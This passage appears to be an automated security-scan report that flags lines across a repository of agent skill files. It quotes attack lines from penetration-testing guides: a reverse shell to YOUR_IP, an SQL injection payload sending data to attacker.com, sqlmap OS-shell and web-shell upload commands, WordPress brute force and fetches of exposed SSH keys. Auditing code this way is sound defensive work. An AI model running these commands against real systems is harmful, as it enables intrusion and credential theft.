  • Network accessline 521
    if not is_safe_url(url):         return jsonify({"error": "Access to this address is not allowed"}), 403     response = requests.get(url, timeout=10, allow_redirects=False)
  • Network accessline 522
    return jsonify({"error": "Access to this address is not allowed"}), 403     response = requests.get(url, timeout=10, allow_redirects=False)     return response.text
  • Network accessline 523
    response = requests.get(url, timeout=10, allow_redirects=False)

skills/shodan-reconnaissance/SKILL.md

  • Dangerous shell operationline 45
    sudo pacman -S python-shodan
  • Access to secretsline 51
    [Credential-related source omitted]
  • Network accessline 265
    # Get API info curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq
  • Network accessline 266
    curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq
  • Network accessline 268
    # Host lookup curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq
  • Network accessline 269
    curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq
  • Network accessline 271
    # Search query curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq
  • Network accessline 272
    curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq
  • Access to secretsline 279
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 441
    [Credential-related source omitted]
  • Access to secretsline 498
    [Credential-related source omitted]

skills/smtp-penetration-testing/SKILL.md

  • Dangerous shell operationline 20
    sudo apt-get install nmap
  • Network accessline 22
    # Netcat sudo apt-get install netcat
  • Dangerous shell operationline 23
    sudo apt-get install netcat
  • Dangerous shell operationline 26
    sudo apt-get install hydra
  • Dangerous shell operationline 29
    sudo apt-get install smtp-user-enum
  • Network accessline 94
    # Using Netcat nc TARGET_IP 25
  • Network accessline 95
    nc TARGET_IP 25
  • Network accessline 122
    # Connect and test commands nc TARGET_IP 25
  • Network accessline 123
    nc TARGET_IP 25
  • Network accessline 366
    | Nmap | `nmap --script smtp-enum-users -p 25 IP` | | Metasploit | `use auxiliary/scanner/smtp/smtp_enum` | | Netcat | `nc IP 25` then manual commands |
  • Network accessline 368
    | Netcat | `nc IP 25` then manual commands |
  • Network accessline 411
    # Step 2: Banner grab nc mail.target.com 25
  • Network accessline 412
    nc mail.target.com 25

skills/sql-injection-testing/SKILL.md

  • Network accessline 182
    -- Oracle HTTP request 1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
  • Network accessline 183
    1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

skills/sql-insight/scripts/sql_query_helper.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/sqlmap-database-pentesting/SKILL.md

  • Network accessline 38
    # Add single quote to break query http://target.com/page.php?id=1'
  • Network accessline 39
    http://target.com/page.php?id=1'
  • Network accessline 47
    # Basic vulnerability detection sqlmap -u "http://target.com/page.php?id=1" --batch
  • Network accessline 48
    sqlmap -u "http://target.com/page.php?id=1" --batch
  • Network accessline 50
    # With verbosity for detailed output sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
  • Network accessline 51
    sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
  • Network accessline 58
    sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
  • Network accessline 70
    sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
  • Network accessline 81
    sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
  • Network accessline 92
    sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
  • Network accessline 97
    sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
  • Network accessline 102
    sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
  • Network accessline 126
    # Create file with URLs, one per line: # http://target1.com/page.php?id=1
  • Network accessline 127
    # http://target1.com/page.php?id=1
  • Network accessline 128
    # http://target2.com/page.php?id=2
  • Network accessline 230
    # Step 1: Discover databases sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
  • Network accessline 231
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
  • Network accessline 234
    # Step 2: List tables sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
  • Network accessline 235
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
  • Network accessline 238
    # Step 3: List columns sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
  • Network accessline 239
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
  • Network accessline 242
    # Step 4: Dump user credentials sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
  • Network accessline 243
    sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
  • Network accessline 261
    # Create bulkfile.txt: echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
  • Network accessline 262
    echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
  • Network accessline 263
    echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
  • Network accessline 271
    # High level and risk for thorough testing sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
  • Network accessline 272
    sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
  • Network accessline 274
    # Specify all techniques sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
  • Network accessline 275
    sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
  • Network accessline 280
    # Target specific columns sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 281
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 287
    # Automatically crack password hashes sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 288
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 297
    # Get interactive OS shell (requires DBA privileges) sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
  • Network accessline 298
    sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
  • Network accessline 300
    # Execute specific OS command sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
  • Network accessline 301
    sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
  • Network accessline 303
    # File read from server sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
  • Network accessline 304
    sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
  • Network accessline 306
    # File upload to server sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
  • Network accessline 307
    sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

skills/ssh-penetration-testing/SKILL.md

  • Network accessline 62
    # Banner grabbing nc 192.168.1.100 22
  • Network accessline 63
    nc 192.168.1.100 22
  • Access to secretsline 184
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Network accessline 192
    # Web-accessible keys (check with curl/wget) curl -s http://target.com/.ssh/id_rsa
  • Network accessline 193
    curl -s http://target.com/.ssh/id_rsa
  • Network accessline 194
    curl -s http://target.com/id_rsa
  • Network accessline 195
    curl -s http://target.com/backup/ssh_keys.tar.gz
  • Network accessline 234
    # Access internal web server through SSH ssh -L 8080:192.168.1.50:80 user@192.168.1.100 # Now access http://localhost:8080
  • Network accessline 236
    # Now access http://localhost:8080
  • Access to secretsline 288
    [Credential-related source omitted]
  • Dangerous shell operationline 300
    # Check sudo privileges
  • Dangerous shell operationline 301
    sudo -l
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 310
    [Credential-related source omitted]
  • Access to secretsline 311
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Network accessline 430
    | Command | Purpose | |---------|---------| | `nc <host> 22` | Banner grabbing |
  • Network accessline 431
    |---------|---------| | `nc <host> 22` | Banner grabbing | | `ssh-audit <host>` | Configuration audit |
  • Network accessline 432
    | `nc <host> 22` | Banner grabbing |

skills/test-driven-dev/mocking.md

  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 42
    // GOOD: Each function is independently mockable const api = {   getUser: (id) => fetch(`/users/${id}`),
  • Network accessline 43
    const api = {   getUser: (id) => fetch(`/users/${id}`),   getOrders: (userId) => fetch(`/users/${userId}/orders`),
  • Network accessline 44
    getUser: (id) => fetch(`/users/${id}`),
  • Network accessline 45
    getOrders: (userId) => fetch(`/users/${userId}/orders`),
  • Network accessline 46
    createOrder: (data) => fetch('/orders', { method: 'POST', body: data }),
  • Network accessline 49
    // BAD: Mocking requires conditional logic inside the mock const api = {   fetch: (endpoint, options) => fetch(endpoint, options),
  • Network accessline 50
    const api = {   fetch: (endpoint, options) => fetch(endpoint, options), };
  • Network accessline 51
    fetch: (endpoint, options) => fetch(endpoint, options),

skills/test-suite-architect/assets/templates/TEST-CASE-TEMPLATE.md

  • Network accessline 92
    **Prerequisites**: - Application running on http://localhost:8080
  • Network accessline 93
    - Application running on http://localhost:8080

skills/test-suite-architect/references/day1_onboarding.md

  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 46
    pnpm dev # Verify: http://localhost:8080 (or configured port)
  • Network accessline 47
    # Verify: http://localhost:8080 (or configured port)
  • Dangerous shell operationline 125
    rm -rf ~/.claude/skills/<skill-name>
  • Network accessline 194
    **Essential links**: - Local website (http://localhost:8080 or configured port)
  • Network accessline 195
    - Local website (http://localhost:8080 or configured port)
  • Access to secretsline 309
    [Credential-related source omitted]

skills/test-suite-architect/references/google_testing_standards.md

  • Network accessline 272
    **References**: - [Google Testing Blog](https://testing.googleblog.com/)
  • Network accessline 273
    - [Google Testing Blog](https://testing.googleblog.com/)
  • Network accessline 274
    - [Google SWE Book - Testing](https://abseil.io/resources/swe-book)
  • Network accessline 275
    - [Test Pyramid Concept](https://martinfowler.com/bliki/TestPyramid.html)

skills/test-suite-architect/references/llm_prompts_library.md

  • Network accessline 41
    3. Test users created (regular, admin, moderator) 4. CLI installed (if applicable) - global and/or local 5. Dev server running at http://localhost:8080
  • Network accessline 42
    4. CLI installed (if applicable) - global and/or local 5. Dev server running at http://localhost:8080 6. First test case executed successfully
  • Network accessline 43
    5. Dev server running at http://localhost:8080
  • Network accessline 395
    3. Check data: docker exec <container-name> psql -U postgres -d postgres -c "SELECT COUNT(*) FROM <table>;"    - Does the database still have seeded data? 4. Check dev server: curl http://localhost:8080
  • Network accessline 396
    - Does the database still have seeded data? 4. Check dev server: curl http://localhost:8080    - Is the dev server responding?
  • Network accessline 397
    4. Check dev server: curl http://localhost:8080

skills/test-suite-architect/references/master_qa_prompt.md

  • Network accessline 76
    Starting Hour 1: Environment Setup Task 1.1: Clone repository   Executing: git clone https://github.com/your-org/project.git
  • Network accessline 77
    Task 1.1: Clone repository   Executing: git clone https://github.com/your-org/project.git   Status: ✅ Complete
  • Network accessline 78
    Executing: git clone https://github.com/your-org/project.git

skills/test-suite-architect/scripts/calculate_metrics.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/test-suite-architect/scripts/init_qa_project.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/three-best-practices/SKILL.md

  • Network accessline 17
    > This skill compiles best practices from multiple authoritative sources: > - Official guidelines from Three.js `llms` branch maintained by [mrdoob](https://github.com/mrdoob)
  • Network accessline 18
    > - Official guidelines from Three.js `llms` branch maintained by [mrdoob](https://github.com/mrdoob)
  • Network accessline 19
    > - [100 Three.js Tips](https://www.utsubo.com/blog/threejs-best-practices-100-tips) by [Utsubo](https://www.utsubo.com) - Excellent comprehensive guide covering WebGPU, asset optimization, and performance tips
  • Network accessline 294
    {   "imports": {     "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js",
  • Network accessline 295
    "imports": {     "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js",     "three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/",
  • Network accessline 296
    "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js",
  • Network accessline 297
    "three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/",
  • Network accessline 298
    "three/tsl": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.tsl.js"

skills/three-best-practices/rules/animation-system.md

  • Network accessline 201
    - [Three.js Animation System](https://threejs.org/docs/#manual/en/introduction/Animation-system)
  • Network accessline 202
    - [Three.js AnimationMixer](https://threejs.org/docs/#api/en/animation/AnimationMixer)

skills/three-best-practices/rules/asset-compression.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
  • Network accessline 67
    Use [Shopify's gltf-compressor](https://github.com/Shopify/gltf-compressor) for interactive side-by-side compression preview (keyboard shortcut "C").

skills/three-best-practices/rules/audio-spatial.md

  • Network accessline 189
    - [Three.js Audio](https://threejs.org/docs/#api/en/audio/Audio)
  • Network accessline 190
    - [Three.js PositionalAudio](https://threejs.org/docs/#api/en/audio/PositionalAudio)
  • Network accessline 191
    - [Web Audio API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API)

skills/three-best-practices/rules/core-web-vitals.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/debug-devtools.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/draw-call-optimization.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/error-handling-recovery.md

  • Network accessline 251
    - [WebGL Context Lost](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/webglcontextlost_event)
  • Network accessline 252
    - [Three.js dispose()](https://threejs.org/docs/#manual/en/introduction/How-to-dispose-of-objects)

skills/three-best-practices/rules/geometry-instanced-mesh.md

  • Network accessline 116
    - [Three.js InstancedMesh](https://threejs.org/docs/#api/en/objects/InstancedMesh)
  • Network accessline 117
    - [Instancing Example](https://threejs.org/examples/#webgl_instancing_performance)

skills/three-best-practices/rules/gltf-loading-optimization.md

  • Network accessline 130
    // Google CDN dracoLoader.setDecoderPath('https://www.gstatic.com/draco/v1/decoders/');
  • Network accessline 131
    dracoLoader.setDecoderPath('https://www.gstatic.com/draco/v1/decoders/');
  • Network accessline 133
    // jsDelivr dracoLoader.setDecoderPath('https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/libs/draco/');
  • Network accessline 134
    dracoLoader.setDecoderPath('https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/libs/draco/');
  • Network accessline 217
    - [glTF-Transform](https://gltf-transform.dev/)
  • Network accessline 218
    - [Three.js GLTFLoader](https://threejs.org/docs/#examples/en/loaders/GLTFLoader)
  • Network accessline 219
    - [Draco Compression](https://google.github.io/draco/)

skills/three-best-practices/rules/lighting-shadows-advanced.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/memory-dispose-geometry.md

  • Network accessline 91
    - [Three.js Manual: Dispose](https://threejs.org/manual/#en/dispose)

skills/three-best-practices/rules/migration-checklist.md

  • Network accessline 188
    - [Three.js Migration Guide](https://github.com/mrdoob/three.js/wiki/Migration-Guide)
  • Network accessline 189
    - [Three.js Releases](https://github.com/mrdoob/three.js/releases)

skills/three-best-practices/rules/mobile-optimization.md

  • Network accessline 227
    - [Three.js Mobile Optimization](https://threejs.org/manual/#en/optimize-lots-of-objects)
  • Network accessline 228
    - [WebGL Best Practices](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API/WebGL_best_practices)

skills/three-best-practices/rules/object-pooling.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/physics-integration.md

  • Network accessline 211
    - [Rapier Documentation](https://rapier.rs/)
  • Network accessline 212
    - [Cannon-es GitHub](https://github.com/pmndrs/cannon-es)
  • Network accessline 213
    - [Three.js + Physics Examples](https://threejs.org/examples/?q=physics)

skills/three-best-practices/rules/postprocessing-optimization.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/raycasting-optimization.md

  • Network accessline 206
    - [three-mesh-bvh](https://github.com/gkjohnson/three-mesh-bvh)
  • Network accessline 207
    - [Three.js Raycaster](https://threejs.org/docs/#api/en/core/Raycaster)
  • Network accessline 208
    - [Three.js Octree](https://threejs.org/examples/?q=octree)

skills/three-best-practices/rules/render-delta-time.md

  • Network accessline 78
    - [Three.js Clock](https://threejs.org/docs/#api/en/core/Clock)

skills/three-best-practices/rules/setup-use-import-maps.md

  • Network accessline 16
    <!-- WRONG - Outdated pattern (DO NOT USE) --> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js"></script>
  • Network accessline 17
    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js"></script>
  • Network accessline 29
    {   "imports": {     "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js",
  • Network accessline 30
    "imports": {     "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js",     "three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/"
  • Network accessline 31
    "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js",
  • Network accessline 32
    "three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/"
  • Network accessline 48
    {   "imports": {     "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.webgpu.js",
  • Network accessline 49
    "imports": {     "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.webgpu.js",     "three/tsl": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.tsl.js",
  • Network accessline 50
    "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.webgpu.js",
  • Network accessline 51
    "three/tsl": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.tsl.js",
  • Network accessline 52
    "three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/"
  • Network accessline 60
    - [Three.js Installation Guide](https://threejs.org/manual/#en/installation)
  • Network accessline 61
    - [MDN Import Maps](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap)

skills/three-best-practices/rules/shader-mobile.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/tsl-complete-reference.md

  • Network accessline 273
    - [Three.js Wiki - TSL](https://github.com/mrdoob/three.js/wiki/Three.js-Shading-Language)
  • Network accessline 274
    - [Maxime Heckel's Field Guide to TSL](https://blog.maximeheckel.com/posts/field-guide-to-tsl-and-webgpu/)
  • Network accessline 275
    - [sbcode.net TSL Tutorials](https://sbcode.net/tsl/getting-started/)

skills/three-best-practices/rules/tsl-compute-shaders.md

  • Network accessline 179
    - [Three.js WebGPU Compute Examples](https://threejs.org/examples/?q=compute)
  • Network accessline 180
    - [WebGPU Compute Shaders Spec](https://www.w3.org/TR/webgpu/#compute-pass-encoder)

skills/three-best-practices/rules/tsl-post-processing.md

  • Network accessline 159
    - [Three.js Examples - Post-Processing](https://threejs.org/examples/?q=postprocessing)
  • Network accessline 160
    - [pmndrs/postprocessing](https://github.com/pmndrs/postprocessing)

skills/three-best-practices/rules/tsl-why-use.md

  • Network accessline 96
    - [Three.js TSL Documentation](https://threejs.org/docs/#api/en/nodes/TSL)
  • Network accessline 97
    - [TSL Examples](https://threejs.org/examples/?q=tsl)

skills/three-best-practices/rules/webgpu-renderer.md

  • Network accessline 3
    > Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)

skills/three-best-practices/rules/webxr-setup.md

  • Network accessline 209
    - [Three.js WebXR Examples](https://threejs.org/examples/?q=webxr)
  • Network accessline 210
    - [WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API)
  • Network accessline 211
    - [Immersive Web](https://immersiveweb.dev/)

skills/timeline-builder/scripts/generate_timeline.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/top-web-vulnerabilities/SKILL.md

  • Access to secretsline 422
    [Credential-related source omitted]

skills/typescript-pro/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   version: "1.0.0"
  • Network accessline 6
    author: https://github.com/Jeffallan

skills/typescript-pro/references/configuration.md

  • Access to secretsline 332
    [Credential-related source omitted]

skills/typescript-pro/references/patterns.md

  • Network accessline 347
    async function fetchUser(id: string): Promise<Result<User, string>> {   try {     const response = await fetch(`/api/users/${id}`)
  • Network accessline 348
    try {     const response = await fetch(`/api/users/${id}`)     if (!response.ok) {
  • Network accessline 349
    const response = await fetch(`/api/users/${id}`)
  • Access to secretsline 441
    [Credential-related source omitted]

skills/wordpress-penetration-testing/SKILL.md

  • Network accessline 20
    - Burp Suite or OWASP ZAP - Nmap for initial discovery - cURL or wget
  • Network accessline 22
    - cURL or wget
  • Network accessline 44
    # Check for WordPress indicators curl -s http://target.com | grep -i wordpress
  • Network accessline 45
    curl -s http://target.com | grep -i wordpress
  • Network accessline 46
    curl -s http://target.com | grep -i "wp-content"
  • Network accessline 47
    curl -s http://target.com | grep -i "wp-includes"
  • Network accessline 49
    # Check common WordPress paths curl -I http://target.com/wp-login.php
  • Network accessline 50
    curl -I http://target.com/wp-login.php
  • Network accessline 51
    curl -I http://target.com/wp-admin/
  • Network accessline 52
    curl -I http://target.com/wp-content/
  • Network accessline 53
    curl -I http://target.com/xmlrpc.php
  • Network accessline 55
    # Check meta generator tag curl -s http://target.com | grep "generator"
  • Network accessline 56
    curl -s http://target.com | grep "generator"
  • Network accessline 76
    # Basic scan wpscan --url http://target.com/wordpress/
  • Network accessline 77
    wpscan --url http://target.com/wordpress/
  • Network accessline 79
    # With API token (for vulnerability data) wpscan --url http://target.com --api-token YOUR_API_TOKEN
  • Network accessline 80
    wpscan --url http://target.com --api-token YOUR_API_TOKEN
  • Network accessline 82
    # Aggressive detection mode wpscan --url http://target.com --detection-mode aggressive
  • Network accessline 83
    wpscan --url http://target.com --detection-mode aggressive
  • Network accessline 85
    # Output to file wpscan --url http://target.com -o results.txt
  • Network accessline 86
    wpscan --url http://target.com -o results.txt
  • Network accessline 88
    # JSON output wpscan --url http://target.com -f json -o results.json
  • Network accessline 89
    wpscan --url http://target.com -f json -o results.json
  • Network accessline 91
    # Verbose output wpscan --url http://target.com -v
  • Network accessline 92
    wpscan --url http://target.com -v
  • Network accessline 100
    # WPScan version detection wpscan --url http://target.com
  • Network accessline 101
    wpscan --url http://target.com
  • Network accessline 103
    # Manual version checks curl -s http://target.com/readme.html | grep -i version
  • Network accessline 104
    curl -s http://target.com/readme.html | grep -i version
  • Network accessline 105
    curl -s http://target.com/feed/ | grep -i generator
  • Network accessline 106
    curl -s http://target.com | grep "?ver="
  • Network accessline 108
    # Check meta generator curl -s http://target.com | grep 'name="generator"'
  • Network accessline 109
    curl -s http://target.com | grep 'name="generator"'
  • Network accessline 111
    # Check RSS feeds curl -s http://target.com/feed/
  • Network accessline 112
    curl -s http://target.com/feed/
  • Network accessline 113
    curl -s http://target.com/comments/feed/
  • Network accessline 127
    # Enumerate all themes wpscan --url http://target.com -e at
  • Network accessline 128
    wpscan --url http://target.com -e at
  • Network accessline 130
    # Enumerate vulnerable themes only wpscan --url http://target.com -e vt
  • Network accessline 131
    wpscan --url http://target.com -e vt
  • Network accessline 133
    # Theme enumeration with detection mode wpscan --url http://target.com -e at --plugins-detection aggressive
  • Network accessline 134
    wpscan --url http://target.com -e at --plugins-detection aggressive
  • Network accessline 136
    # Manual theme detection curl -s http://target.com | grep "wp-content/themes/"
  • Network accessline 137
    curl -s http://target.com | grep "wp-content/themes/"
  • Network accessline 138
    curl -s http://target.com/wp-content/themes/
  • Network accessline 146
    # Check theme version curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
  • Network accessline 147
    curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
  • Network accessline 148
    curl -s http://target.com/wp-content/themes/<theme>/readme.txt
  • Network accessline 156
    # Enumerate all plugins wpscan --url http://target.com -e ap
  • Network accessline 157
    wpscan --url http://target.com -e ap
  • Network accessline 159
    # Enumerate vulnerable plugins only wpscan --url http://target.com -e vp
  • Network accessline 160
    wpscan --url http://target.com -e vp
  • Network accessline 162
    # Aggressive plugin detection wpscan --url http://target.com -e ap --plugins-detection aggressive
  • Network accessline 163
    wpscan --url http://target.com -e ap --plugins-detection aggressive
  • Network accessline 165
    # Mixed detection mode wpscan --url http://target.com -e ap --plugins-detection mixed
  • Network accessline 166
    wpscan --url http://target.com -e ap --plugins-detection mixed
  • Network accessline 168
    # Manual plugin discovery curl -s http://target.com | grep "wp-content/plugins/"
  • Network accessline 169
    curl -s http://target.com | grep "wp-content/plugins/"
  • Network accessline 170
    curl -s http://target.com/wp-content/plugins/
  • Network accessline 181
    # Check plugin version curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
  • Network accessline 182
    curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
  • Network accessline 190
    # WPScan user enumeration wpscan --url http://target.com -e u
  • Network accessline 191
    wpscan --url http://target.com -e u
  • Network accessline 193
    # Enumerate specific number of users wpscan --url http://target.com -e u1-100
  • Network accessline 194
    wpscan --url http://target.com -e u1-100
  • Network accessline 196
    # Author ID enumeration (manual) for i in {1..20}; do     curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
  • Network accessline 197
    for i in {1..20}; do     curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' done
  • Network accessline 198
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
  • Network accessline 201
    # JSON API user enumeration (if enabled) curl -s http://target.com/wp-json/wp/v2/users
  • Network accessline 202
    curl -s http://target.com/wp-json/wp/v2/users
  • Network accessline 204
    # REST API user enumeration curl -s http://target.com/wp-json/wp/v2/users?per_page=100
  • Network accessline 205
    curl -s http://target.com/wp-json/wp/v2/users?per_page=100
  • Network accessline 207
    # Login error enumeration curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
  • Network accessline 208
    curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
  • Network accessline 216
    # Enumerate everything wpscan --url http://target.com -e at -e ap -e u
  • Network accessline 217
    wpscan --url http://target.com -e at -e ap -e u
  • Network accessline 219
    # Alternative comprehensive scan wpscan --url http://target.com -e vp,vt,u,cb,dbe
  • Network accessline 220
    wpscan --url http://target.com -e vp,vt,u,cb,dbe
  • Network accessline 231
    # Full aggressive enumeration wpscan --url http://target.com -e at,ap,u,cb,dbe \
  • Network accessline 232
    wpscan --url http://target.com -e at,ap,u,cb,dbe \
  • Network accessline 242
    # Single user brute-force wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
  • Network accessline 243
    wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
  • Network accessline 245
    # Multiple users from file wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
  • Network accessline 246
    wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
  • Network accessline 248
    # With password attack threads wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
  • Network accessline 249
    wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
  • Network accessline 251
    # XML-RPC brute-force (faster, may bypass protection) wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
  • Network accessline 252
    wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
  • Network accessline 254
    # Brute-force with API limiting wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
  • Network accessline 255
    wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
  • Network accessline 257
    # Create targeted wordlist cewl http://target.com -w wordlist.txt
  • Network accessline 258
    cewl http://target.com -w wordlist.txt
  • Network accessline 259
    wpscan --url http://target.com -U admin -P wordlist.txt
  • Network accessline 312
    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
  • Dangerous shell operationline 313
    exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
  • Network accessline 313
    exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
  • Network accessline 316
    // Or use weevely backdoor // Access via: http://target.com/wp-content/themes/theme_name/404.php
  • Network accessline 317
    // Access via: http://target.com/wp-content/themes/theme_name/404.php
  • Network accessline 340
    # Access webshell curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
  • Network accessline 341
    curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
  • Network accessline 349
    # Check if XML-RPC is enabled curl -X POST http://target.com/xmlrpc.php
  • Network accessline 350
    curl -X POST http://target.com/xmlrpc.php
  • Network accessline 352
